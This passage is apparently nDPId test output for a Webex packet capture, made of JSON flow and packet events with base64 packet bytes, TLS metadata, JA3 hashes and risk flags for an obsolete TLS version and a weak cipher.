+01138{"flow_id":50,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1443,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570715,"pkt_ts_usec":661374,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJABQJAAEAGe0wKCAABrfMAbtmHAbtwYOZ5j58rB1AQTE+qUQAAFwMBACDcxTytvKRWLfbd6C4LaydK5ApGqtpPnJnGxbNDKt5e3xcDAQJQ2OUJsFxZp1b4ZnDMSmzeSbDb1hOBttOB7wxkLdYYtzigj2GZ1NZb4awBtxQKlE4ITNHAFIWrGDPROvZKjsbzfaC8sHnthNMuOtDJ3wzowxLUS0eYicsNd0SR3U4eyp1CmWYgqeskjDC85gM3Du3jUqH3rrfzi\/PCCRu5kqb8z2stQE9Dm1W\/+ZJfKugK5MgVSWku7wwdo5p+rtYQ1ocPPrnhTRHMYo2FZEBQ6C7DcQJ5ebwrcCEfTp9BUO4fmpOEBC7r3vZc23DtDXU5Gy2z12HRRrNSe3vsrbOddFjte7DsA2xRUuWncsT7jZxU+wg1CyAqdTReOlAAtm1+2b8zLsWCuVWbI+xcppnu33qXfqE21Or1JtxwkJptRAxPHFsD6Yk3D84+DWaQpAAKLuAGAB4kt\/q+6GP0ya\/IjmprWjLdFcyZmIWsGYrXzS58yR3o1lStAhmgMYJb3btVx\/M8glNE0zOiIUzLz39LWZoeDlS4KvMNvhyqo\/2DZMmm\/OnNN2eqxpr1rTsvfy306pIjWL8wvI0QwWwB2QkIueQjPtyvmIRKbv8hVJHSsa\/6Dt81uJqZtpKA0CJH6ZeDHNj0xXFdAcH\/k\/Y6IaeQO4Ex4vqXBeS5AymfFqDvGxLB+oMCiwelZKXbwjnc9V3+z7A="} +00411{"flow_id":50,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1444,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570715,"pkt_ts_usec":661967,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA8tAABAGrput8wBuCggAAQG72YePnysHcGDokVAQ\/\/8IjwAA"} +00544{"flow_id":50,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1445,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570715,"pkt_ts_usec":662503,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"ABoRAAACABoRAAABCABFAACKBQNAAEAGfQEKCAABrfMAbtmHAbtwYOiRj58rB1AYTE+XDgAA8n0K26HazNKgkc4Dl3hoP4WguocQuzfWhRw7Y9nJnNR7PrvGp96hPUjOpoXrA9sB65wlWNk5C82ZpqUzOqi4+lE7pRaZSuJvJaTS1h7ZZ7sXSutlTUhm3UIjLVg0bO258xM="} +00411{"flow_id":50,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1446,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570715,"pkt_ts_usec":663092,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA8xAABAGrpqt8wBuCggAAQG72YePnysHcGDo81AQ\/\/8ILQAA"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1454,"source":"webex.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1444570716599,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.229.158","src_port":51857,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1454,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570716,"pkt_ts_usec":599098,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8ldZAAEAGdtEKCAABPm3lnsqRAbsgVHeCAAAAAKACOQiaIAAAAgQFtAQCCAoATOJUAAAAAAEDAwY="} +00410{"flow_id":52,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1455,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570716,"pkt_ts_usec":603330,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA9FAABAGOOs+beWeCggAAQG7ypHfq4h9IFR3g1AS\/\/+1cAAA"} +00408{"flow_id":52,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1456,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570716,"pkt_ts_usec":604060,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAolddAAEAGduQKCAABPm3lnsqRAbsgVHeD36uIflAQOQh8aQAA"} +00665{"flow_id":52,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1457,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570716,"pkt_ts_usec":610502,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"ABoRAAACABoRAAABCABFAADjldhAAEAGdigKCAABPm3lnsqRAbsgVHeD36uIflAYOQieBgAAFgMBALYBAACyAwH2mTMdHJrmw7XGFaYthT2kGUSX+T\/uNQ3U\/xVLblVUyQAAWMAUwAoAOQA4ADcANsAPwAUANcATwAkAMwAyADEAMACaAJkAmACXwA7ABAAvAJbAEcAHwAzAAgAFAATAEsAIABYAEwAQAA3ADcADAAoAFQASAA8ADAAJAP8BAAAxAAsABAMAAQIACgAcABoAFwAZABwAGwAYABoAFgAOAA0ACwAMAAkACgAjAAAADwABAQ=="} +00734{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1457,"source":"webex.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":4,"flow_first_seen":1444570716599,"flow_last_seen":1444570716610,"flow_tot_l4_data_len":287,"flow_min_l4_data_len":20,"flow_max_l4_data_len":207,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.229.158","src_port":51857,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"64ea4359ad4b496db653a3f30f7073e6","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00410{"flow_id":52,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1458,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570716,"pkt_ts_usec":610944,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA9JAABAGOOo+beWeCggAAQG7ypHfq4h+IFR4PlAQ\/\/+0tgAA"} +05676{"flow_id":52,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1460,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570717,"pkt_ts_usec":923568,"pkt_caplen":3961,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3961,"pkt_l4_len":3927,"pkt":"ABoRAAACABoRAAABCABFAA9rA9NAABAGKaY+beWeCggAAQG7ypHfq4h+IFR4PlAY\/\/9eFgAAFgMBDz4CAAAtAwFWGmZj69h90cfTm0P8hJdpnTrybQ92MkqiMy7IoJ+Y8wAALwAABf8BAAEACwAPBQAPAgAE6TCCBOUwggPNoAMCAQICECl0ianUHkm+YfeBaUbmIfMwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNTA0MTAwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHcxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMREwDwYDVQQHDAhTYW4gSm9zZTEcMBoGA1UECgwTQ2lzY28gU3lzdGVtcywgSW5jLjEMMAoGA1UECwwDQ1NHMRQwEgYDVQQDDAsqLndlYmV4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ14yGFLwwhhZyxegl+wYbyZZp5q4NComRXAz+k8ibNrPp+x46qW\/Dt++MdupJ8y605K5KTQVb24unmPF+pZq1par5YBKMjJrJTW2aAI1MtQvRzSDCNhdWyxiP6SkVBm6ZOcLwL+kijn\/nCot5orO1NrHHFG\/HBcSk1aaetoitrjs5BWuMxdYuIZvzSoyViVbo\/w\/LUKXdD0rlOcFmOxtcf+VKb7w1eyku07Jp94m\/\/ILLQS\/jy7ymRyfGFnPLtNqBmUKFg+uAD7JcHZiy8g6quVEhEZdm3O+tUR2wYZ5in9yKcrxqoHwhW0O4X2\/rJ4mNDvikIgaWiSNW7eIoh0NWECAwEAAaOCAWQwggFgMBYGA1UdEQQPMA2CCyoud2ViZXguY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBlBgNVHSAEXjBcMFoGCmCGSAGG+EUBBzYwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGRoXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAFNF1YB0fCkEyxRc1VQO7NUZao+PnZuavjgeTnyTKmHl\/4Zxh1Xg\/M\/f\/RHSrGrgUW2xaSZN\/Dwt2hqMtIi\/b\/AgOFeqNKmMxH3nWxf6f1Lr7QoTvApLQGqjeuIT3U6AiRMt4Ksgfx7+1Vbil1AaILo859VgXSMgVJTv4QpUpzg\/EKtUqPwMwq8PvwoTjlewyOt9YbCxNTO91JkKsYuwm7uUeU7Fx+r+rP+wgDwYVbbsUwQXAbj7QOj3dkPLzn+gcrhK1ZlgFf7Ti34xrqj7jNiaMc0dYh\/Ns3KCHMTs5rVCGLIk7lEgovwLDbJtuuQTlvaHoeZIGVPqROi5Bl\/WxAgAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHAATUMIIE0DCCBDmgAwIBAgIQJQzo4DBhLp8rifcFTXz4\/TANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYxMTA4MDAwMDAwWhcNMjExMTA3MjM1OTU5WjCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ\/XxrcgxiV0i6CqqpkKzj\/i5Vbext0uz\/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6\/WhkcIzSdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn\/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4\/VBEnkjWNHiDxpg8v+R70rfk\/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10\/NIeWiu5T6CUVAgMBAAGjggGbMIIBlzAPBgNVHRMBAf8EBTADAQH\/MDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTMuY3JsMA4GA1UdDwEB\/wQEAwIBBjA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL2NwczAdBgNVHQ4EFgQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24uY29tL3ZzbG9nby5naWYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC52ZXJpc2lnbi5jb20wPgYDVR0lBDcwNQYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDAwYJYIZIAYb4QgQBBgpghkgBhvhFAQgBMA0GCSqGSIb3DQEBBQUAA4GBABMC3fjohgDyWvj4IAxZiGIHzs73Tvm7WaGY5eE43U68ZhjTresY8g3JbT5KlCDDPLq9ZVTGr0SzEK0saz6r1we2uIFjxfleLuUqZ87NMwwq14lWAyMfs77oOghZtOxFNfeKW\/9mz1Cvxm1XjRl4t7mi0VfqH5pLr7rJjhJ+xr3\/DgAAAA=="} +01113{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1460,"source":"webex.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":6,"flow_first_seen":1444570716599,"flow_last_seen":1444570717923,"flow_tot_l4_data_len":4234,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3927,"flow_avg_l4_data_len":705,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.229.158","src_port":51857,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"64ea4359ad4b496db653a3f30f7073e6","ja3s":"4192c0a946c5bd9b544b4656d9f624a4","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00408{"flow_id":52,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1461,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570717,"pkt_ts_usec":977160,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoldlAAEAGduIKCAABPm3lnsqRAbsgVHg+36uXwVAQTE9ZJAAA"} +00855{"flow_id":52,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1462,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570717,"pkt_ts_usec":994686,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFuldpAAEAGdZsKCAABPm3lnsqRAbsgVHg+36uXwVAYTE92+gAAFgMBAQYQAAECAQALQTz6KcI35KZoeIMPbSyR9X\/eQZe0OFECu7tGpF4u8y0Tf27yrhCes\/lWu6UUOwvCZOrTt+l7NYdz+F5Kg4sFCzKSQSkF+Pz2ZNz1yaKwIgy7ofI09FWdJCMTe\/dWYf9mkbyadXXlp\/S1oVFZjZvt8ID0UvRqUuq3x+2ecyYuwXI8gCnO3oqtxZYcjA8A454LlBxbfcbrYjKWzLpcYGX0Kq8ET9iLhWyabhSdhxvrc+ZTb5CB2P+RSRNNnEfk2xolxyM9TiWdrb+LURVubG2zJzd37R7KSXD7vV9vIcqy2j\/c44eLXw84KKaeuE+avzkup6LZsPN\/2ltvD7\/B27soFAMBAAEBFgMBADCITsX0Z6PHJRemeFZdpRYu2msNx0v0szSQu5cLy\/Pv+yhBVyqJL4JaAbGREyH8Z9o="} +00410{"flow_id":52,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1463,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570717,"pkt_ts_usec":995012,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA9RAABAGOOg+beWeCggAAQG7ypHfq5fBIFR5hFAQ\/\/+kLQAA"} +00493{"flow_id":52,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1464,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570718,"pkt_ts_usec":140677,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjA9VAABAGOKw+beWeCggAAQG7ypHfq5fBIFR5hFAY\/\/+RwwAAFAMBAAEBFgMBADBmZZlOKnN32DhHbyHFRuNR5NL7XwLtqMA0S8DHbS3perluIIGIjLuP2KnBloUPGLw="} +00410{"flow_id":52,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1465,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570718,"pkt_ts_usec":193663,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoldtAAEAGduAKCAABPm3lnsqRAbsgVHmE36uX\/FAQTE9XowAA"} +00513{"flow_id":52,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1466,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570718,"pkt_ts_usec":194002,"pkt_caplen":128,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":128,"pkt_l4_len":94,"pkt":"ABoRAAACABoRAAABCABFAAByldxAAEAGdpUKCAABPm3lnsqRAbsgVHmE36uX\/FAYTE8s+wAAFwMBACB6XUK9V3wUhwVJ8PMSMKScvzaiYFeM9OWnGeiNA6+ZEhcDAQAgveCO9w51Tj6HVTnx\/u2u6UdcfDl5DQKk0BJY78JKESw="} +00411{"flow_id":52,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1467,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570718,"pkt_ts_usec":194410,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA9ZAABAGOOY+beWeCggAAQG7ypHfq5f8IFR5zlAQ\/\/+jqAAA"} +00464{"flow_id":52,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1469,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570718,"pkt_ts_usec":323959,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"ABoRAAACABoRAAABCABFAABNA9dAABAGOMA+beWeCggAAQG7ypHfq5f8IFR5zlAY\/\/\/9uAAAFwMBACDYAlMgEXMNwMH0NIax0mFWDC9k9dpAvLzJWEoRTbcCMA=="} +00409{"flow_id":52,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1470,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570718,"pkt_ts_usec":374937,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAold1AAEAGdt4KCAABPm3lnsqRAbsgVHnO36uYIVAQTE9XNAAA"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1483,"source":"webex.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1444570718801,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.229.158","src_port":51772,"dst_port":9000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00404{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1483,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570718,"pkt_ts_usec":801686,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"pkt":"ABoRAAACABoRAAABCABFAAAk4zFAAEARKYMKCAABPm3lnso8IygAEONTAQAAAAAAAAE="} +00404{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1484,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570718,"pkt_ts_usec":921691,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"pkt":"ABoRAAACABoRAAABCABFAAAkA95AABARONc+beWeCggAASMoyjwAEESbAgAAAAC4nQE="} +00404{"flow_id":53,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1485,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570718,"pkt_ts_usec":924198,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"pkt":"ABoRAAACABoRAAABCABFAAAk4zJAAEARKYIKCAABPm3lnso8IygAEONTAQAAAAAAAAE="} +00403{"flow_id":53,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1486,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570719,"pkt_ts_usec":39150,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"pkt":"ABoRAAACABoRAAABCABFAAAkA99AABARONY+beWeCggAASMoyjwAEEObAgAAAAC4ngE="} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1491,"source":"webex.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1444570719041,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.229.158","src_port":51859,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 